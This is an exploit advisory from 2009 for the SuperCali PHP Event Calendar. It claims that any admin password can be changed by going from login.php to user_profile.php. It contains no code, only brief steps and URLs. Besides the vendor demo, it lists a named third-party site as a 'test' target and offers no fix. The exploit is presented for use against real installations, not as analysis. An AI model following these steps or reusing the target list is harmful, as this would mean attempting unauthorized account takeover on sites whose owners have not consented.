SuperCali PHP Event Calendar Arbitrary Change Admin Password Exploit
2009-06-04 18:44:08---------------------------------------------------------------
---------------------------------------------------------------
Founder :TiGeR-Dz
Home:http://www.h4ckf0ru.com
Script:SuperCali PHP Event Calendar
Download:http://supercali.inforest.com/demo.php
Note:in sha alahe nantaser ala mesre wa na ta ahal ila kaas alalame :)
---------------------------------------------------------------
Exploit
-------
www.site.com/calendar/login.php
go to change password :)
www.site.com/calendar/user_profile.php
----------------------------------------------------------------
Dem0
---------
http://supercali.inforest.com/demo_calendar/login.php
Go to change password :)
http://supercali.inforest.com/demo_calendar/user_profile.php
test:
--------
http://www.eugeneastro.org/calendar/login.php
Go to change password :)
http://www.eugeneastro.org/calendar/user_profile.php
--------------------------------------
Greeting To ALL My Friends (Dz)
------------------------------------------
#
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.